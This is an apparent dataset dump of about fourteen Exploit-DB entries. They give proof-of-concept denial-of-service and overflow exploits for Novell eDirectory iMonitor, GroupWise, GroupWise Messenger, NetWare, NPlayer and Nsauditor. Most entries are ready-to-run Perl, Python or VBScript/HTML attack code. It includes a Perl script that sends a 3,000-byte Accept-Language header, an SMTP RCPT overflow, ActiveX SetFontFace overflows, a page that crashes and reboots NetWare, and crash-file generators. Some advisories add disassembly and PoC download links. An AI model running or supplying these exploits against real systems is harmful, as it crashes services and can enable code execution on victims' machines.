deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8129
Description: Novell eDirectory iMonitor - 'Accept-Language' Request Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-02
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

#######################################################################################
#   Novell eDirectory iMonitor 'Accept-Language' Request Buffer Overflow Vulnerability
#   Refer:
#        https://www.securityfocus.com/bid/33928/discuss
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#         Blog:        http://www.darshanams.blogspot.com/
#        Date:      02nd March, 2009
#         Visit:        http://www.evilfingers.com/
#
########Thanx to str0ke, milw0rm, @rP m@n, and all the Security Folks###################
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Novell eDirectory iMonitor Server \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 8008;
#Secure transfer uses TCP 8010 port

$sock_http = IO::Socket::INET->new(   PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";

$buff1= "C" x 1000;
$buff2= "D" x 1000;
$buff3= "E" x 1000;
$mal_buff=$buff1.$buff2.$buff3;
# It is just a PoC

$http_attack = "GET /nds/ HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Accept-Language: en, $mal_buff;q=0.8\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";

print $sock_http $http_attack;
print "\nOverflow request sent....";
sleep(5);

close($sock_http);

# milw0rm.com [2009-03-02]
Exploit-DB #7985
Description: Novell Groupwise 8.0 - 'RCPT' Off-by-One
Type: dos
Platform: windows
Date: 2009-02-04
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

#######################################################################################
###############################QUICK AND DIRTY EXPLOIT#################################
#######################################################################################
#   Off-by-one error in the SMTP daemon in GroupWise Internet Agent (GWIA)
#    in Novell GroupWise 6.5x, 7.0, 7.01, 7.02, 7.03, 7.03HP1a, and 8.0 allows
#    remote attackers to execute arbitrary code via a long e-mail address in a
#    malformed RCPT command, leading to a buffer overflow.
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0410
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com\
#         Blog:        http://www.darshanams.blogspot.com/
#        Date:      04th February, 2009
#
########Thanx to str0ke, milw0rm, @rp m@n, an all the security folks####################
########################################################################################


use Net::SMTP;
print "***SMTP module is working fine***\n";


$buff="D" x 1300;
print "Enter Vulnerable Novell GroupWise SMTP Server Domain Name\n";
$smtp_vuln_server_name=<STDIN>;
chop($smtp_vuln_server_name);

$smtp_attack=Net::SMTP->new("$smtp_vuln_server_name");
print"\nEnter your/from mail ID here\n";
$$mail_from=<STDIN>;
chop($mail_from);


print"\nEnter Recepient mail ID\n";
$to_mail_id=<STDIN>;
chop($to_mail_id);

$mal_buffer=$buff.$to_mail_id;

$smtp_attack->mail($mail_from);
$smtp_attack->to($mal_buffer);

$smtp_attack->data();
$smtp_attack->datasend("Attacking...");

$smtp_attack->quit();

# milw0rm.com [2009-02-04]
Exploit-DB #26301
Description: Novell Groupwise Client 6.5.3 - Local Integer Overflow
Type: dos
Platform: windows
Date: 2005-09-27
Author: Francisco Amato

Exploit:
source: https://www.securityfocus.com/bid/14952/info

Novell GroupWise Client is prone to a local integer overflow vulnerability.

The attacker may leverage this issue to corrupt process memory, which may lead to a crash or arbitrary code execution. A complete compromise of the affected system may be possible.

GroupWise 6.5.3 is reported to be vulnerable. It is possible that other versions are affected as well. 

The following value is sufficient to trigger this issue:[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Exploit-DB #33221
Description: Novell Groupwise Client 7.0.3.1294 - 'gxmim1.dll' ActiveX Control Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/36398/info

Novell GroupWise Client is prone to an unspecified buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

Novell GroupWise Client 7.0.3.1294 is vulnerable; other versions may also be affected. 

<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'>
</object>


<script language='vbscript'>




argCount   = 1


arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA"

GWComposeCtl.SetFontFace arg1

</script>
Exploit-DB #9683
Description: Novell Groupwise Client 7.0.3.1294 - ActiveX Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  Novell Groupwise Client 7.0.3.1294
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.

#####################################################################################

============================
2) Technical details 
============================

Name:	gxmim1.dll
Ver.:	7.0.3.1294
CLSID:	{9796BED2-C1CF-11D2-9384-0008C7396667}




#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>


<script language='vbscript'>




argCount   = 1


arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

GWComposeCtl.SetFontFace arg1

</script>




#####################################################################################

# milw0rm.com [2009-09-15]
Exploit-DB #18488
Description: Novell Groupwise Messenger 2.1.0 - Arbitrary Memory Corruption
Type: dos
Platform: windows
Date: 2012-02-16
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Novell GroupWise Messenger
              http://www.novell.com/products/groupwise/
Versions:     <= 2.1.0
Platforms:    Windows, Linux, NetWare
Bug:          write4
Exploitation: remote, versus server
Date:         16 Feb 2012 (found 10 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Check vendor's homepage and version because this is an old advisory.


#######################################################################

======
2) Bug
======


nmma.exe is a service running on port 8300.

The protocol is composed by fields that have particular types, for
example 10 for strings or 8 for integers and so on like any RPC
protocol.

Through the "createsearch" command sent from a valid account and a type
9 value is possible to write a 0x00000000 in an arbitrary memory
location:

  00496E2A  |> 8B5D 0C        /MOV EBX,DWORD PTR SS:[EBP+C]
  00496E2D  |> 8B4D F8         MOV ECX,DWORD PTR SS:[EBP-8]
  00496E30  |. 8A47 06        |MOV AL,BYTE PTR DS:[EDI+6]
  00496E33  |. 81E1 FFFF0000  |AND ECX,0FFFF
  00496E39  |. 3C 02          |CMP AL,2
  00496E3B  |. 8B5C8B 04      |MOV EBX,DWORD PTR DS:[EBX+ECX*4+4]
  ...
  00496F3A  |. C[PII_REDACTED]0  |MOV DWORD PTR DS:[EBX],0     ; EBX is controlled
  00496F40  |. 83C3 04        |ADD EBX,4
  00496F43  |. 53             |PUSH EBX
  00496F44  |. 6A 20          |PUSH 20
  00496F46  |. E8 5541F9FF    |CALL nmma.0042B0A0

Seems that this vulnerability can be reached only with a valid account.
In my PoC I have used a pre-build admin::adminpass account so remember
to change the NM_A_PARM1 field if you want to use another one.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/nmma_x.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18488.zip (nmma_x.zip)

nmma_x 3 SERVER


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #18489
Description: Novell Groupwise Messenger 2.1.0 - Memory Corruption
Type: dos
Platform: windows
Date: 2012-02-16
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Novell GroupWise Messenger
              http://www.novell.com/products/groupwise/
Versions:     <= 2.1.0
Platforms:    Windows, Linux, NetWare
Bug:          memory corruption
Exploitation: remote, versus server
Date:         16 Feb 2012 (found 10 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Check vendor's homepage and version because this is an old advisory.


#######################################################################

======
2) Bug
======


nmma.exe is a service running on port 8300.

The NM_A_PARM1 tag of the "login" command is the base64 of the
"username::password" string encrypted with blowfish.

This tag has the value 10 which is relative to the strings, but exists
another type defined as 12 which instead is used for particular data
("nested arrays") and when used for login->NM_A_PARM1 allows to corrupt
the heap memory:

  0042BCD9  |. 8B0B           MOV ECX,DWORD PTR DS:[EBX]        ; 3
  0042BCDB  |. 8B55 FC        MOV EDX,DWORD PTR SS:[EBP-4]      ; 3
  0042BCDE  |. C1EE 02        SHR ESI,2                         
  0042BCE1  |. 81C6 55555555  ADD ESI,55555555
  0042BCE7  |. 8D0476         LEA EAX,DWORD PTR DS:[ESI+ESI*2]
  0042BCEA  |. 50             PUSH EAX                          ; 0xffffffff
  0042BCEB  |. 51             PUSH ECX                          ; heap
  0042BCEC  |. 52             PUSH EDX                          ; context
  0042BCED  |. E8 5E0E0000    CALL nmma.0042CB50                ; blowfish

Through additional packets before and after the malformed one (the
service is multi-thread) may be possible to control the corruption.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/nmma_x.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18489.zip (nmma_x.zip)

nmma_x 1 SERVER


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #18490
Description: Novell Groupwise Messenger Client 2.1.0 - Unicode Stack Overflow
Type: dos
Platform: windows
Date: 2012-02-16
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Novell GroupWise Messenger client
              http://www.novell.com/products/groupwise/
Versions:     <= 2.1.0
Platforms:    Windows, Linux, NetWare
Bug:          unicode stack overflow
Exploitation: remote, versus server
Date:         16 Feb 2012 (found 09 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Check vendor's homepage and version because this is an old advisory.


#######################################################################

======
2) Bug
======


Unicode stack overflow in the building of a message while handling a
nmx file:

  0048D4DC   51               PUSH ECX                      ; our "folder name" string
  0048D4DD   8D5424 0C        LEA EDX,DWORD PTR SS:[ESP+C]
  0048D4E1   50               PUSH EAX                      ; "Importing into %s."
  0048D4E2   52               PUSH EDX                      ; stack buffer
  0048D4E3   FF15 287D5400    CALL DWORD PTR DS:[547D28]    ; USER32.wsprintfW

The vulnerability is exploitable through an nmx file and it's possible
to automate the exploitation using the "nim" URL protocol inside a web
browser and the "import" command with "filename" pointing to the web
server or UNC path hosting the malformed nmx file.


#######################################################################

===========
3) The Code
===========


This scenario can be tested using the provided html proof-of-concept
after having replaced the "SERVER" string with the name of the server
where is located the nim_1.nmx file:

  http://aluigi.org/poc/nim_1.zip
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18490.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #7799
Description: Novell Netware 6.5 - 'ICEbrowser' Remote System Denial of Service
Type: dos
Platform: windows
Date: 2009-01-16
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# novellnw_ib_sysdos.pl
# Novell Netware 6.5 (ICEbrowser) Remote System Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
#
# "Mozilla/5.0 (NetWare; U; NetWare 6.50.06; en-US) ICEbrowser/6.1.2 NovellViewPort/3.7.2"
#
# After target views exploit page, the browser will sorta hang, then a fault occurs and the system reboots.
# 
# Abend 1 on P00: Server-5.70.06: Page Fault Processor Exception (Error code 00000000)
# 
# Registers:
#     CS = 0008 DS = 0010 ES = 0010 FS = 0010 GS = 007B SS = 0010
#     EAX = 00000000 EBX = 9687EF4C ECX = 004EB8F0 EDX = 000000E4
#     ESI = 00000000 EDI = 00000001 EBP = 8D9E7F3C ESP = 86179EF4
#     EIP = 00000000 FLAGS = 00010086 
#     
#     Access Location: 0x00000000
# 
# "Additional Information: The hardware detected a problem while executing an interrupt
# service routine.  The code being executed is owned by SERVER.NLM.  It may be the source
# of the problem or there may have been a memory corruption."
# 
# Tested on Novell Netware 6.5 SP6 (5.70.06)

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n";

}

$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "decodeURI(\"" . "A" x 5005000 . "\");" . "\n";
$foot = "</script>" . "\n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# milw0rm.com [2009-01-16]
Exploit-DB #11133
Description: NPlayer - '.dat Skin' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-13
Author: Rehan Ahmed

Exploit:
#!/usr/bin/perl
#Exploit Title:NPlayer (.dat Skin File) Local Heap Overflow PoC
#Date:13/01/2010
#Author:Vulnerability Discovered By Rehan Ahmed (rehan@rewterz.com)
#Tested On: WinXP SP2
########################################################################################
##EBX 41414141
##ESP 0012EF6C
##EBP 00DA50F8 ASCII "C:\Program Files\n.player\skins\crash.dat"
##ESI 0012EFD8
##EDI 014143F8
##EIP 7C90EAF0 ntdll.7C90EAF0
#######################################################################################
########################################################################################
my $boom="\x41" x 5000;
my $file="crash.dat";
open($FILE,">$file");
print $FILE $boom;
close($FILE);
print "File Successfully Created\n";
########################################################################################
Exploit-DB #49638
Description: Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-03-11
Author: Enes Özeser

Exploit:
# Exploit Title: Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)
# Exploit Author : Enes Özeser
# Exploit Date: 2021-02-28
# Vendor Homepage : https://www.nsauditor.com/
# Link Software : https://www.nsauditor.com/downloads/nhsi_setup.exe
# Version: 1.6.4.0
# Tested on: Windows 10

# Steps: 
1- Run the python script. (payload.py)
2- Open payload.txt and copy content to clipboard.
3- Run 'Nsasoft Hardware Software Inventory 1.6.4.0'. 
4- Register -> Enter Registeration Code
5- Paste clipboard into the "Key" or "Name".
6- Click on OK.
7- Crashed.

---> payload.py <--

#!/usr/bin/env python
buffer = "\x41" * 300

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print "File created!" 
except:
    print "File cannot be created!"
Exploit-DB #46757
Description: NSauditor 3.1.2.0 - 'Community' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-26
Author: Victor Mondragón

Exploit:
#Exploit Title: NSauditor 3.1.2.0 - 'Community' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
#Tested Version: 3.1.2.0
#Tested on: Windows 7 x64 Service Pack 1
 
#Steps to produce the crash:
#1.- Run python code: Nsauditor_3.1.2.0.py
#2.- Open nsauditor.txt and copy content to clipboard
#3.- Open Nsauditor
#4.- In Sessions select "SNMP Auditor"
#5.- Select "Community" field paste Clipboard
#6.- Click "Walk"
#7.- Crarshed
 
cod = "\x41" * 10000
 
f = open('nsauditor.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46758
Description: NSauditor 3.1.2.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-26
Author: Victor Mondragón

Exploit:
#Exploit Title: NSauditor 3.1.2.0 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
#Tested Version: 3.1.2.0
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Nsauditor_name.py
#2.- Open nsauditor_name.txt and copy content to clipboard
#3.- Open Nsauditor
#4.- Select "Register"
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('nsauditor_name.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #47732
Description: Nsauditor 3.1.8.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-12-02
Author: SajjadBnd

Exploit:
# Exploit Title: Nsauditor 3.1.8.0 - 'Key' Denial of Service (PoC)
# Discovery by: SajjadBnd
# Date: 2019-11-30
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.1.8.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro
# Email : blackwolf@post.com

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks 
# and hosts for vulnerabilities, and to provide security alerts.Nsauditor network auditor checks enterprise 
# network for all potential methods that a hacker might use to attack it and create a report of potential 
# problems that were found , Nsauditor network auditing software significantly reduces the total cost of 
# network management in enterprise environments by enabling IT personnel and systems administrators gather 
# a wide range of information from all the computers in the network without installing server-side applications 
# on these computers and create a report of potential problems that were found.
 
# POC
# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Key'
# 6.click 'ok'
# 5.Crashed ;)

#!/usr/bin/env python
 
buffer = "\x41" * 1000
try:
    f=open("dos.txt","w")
    print "[+] Creating %s bytes DOS payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"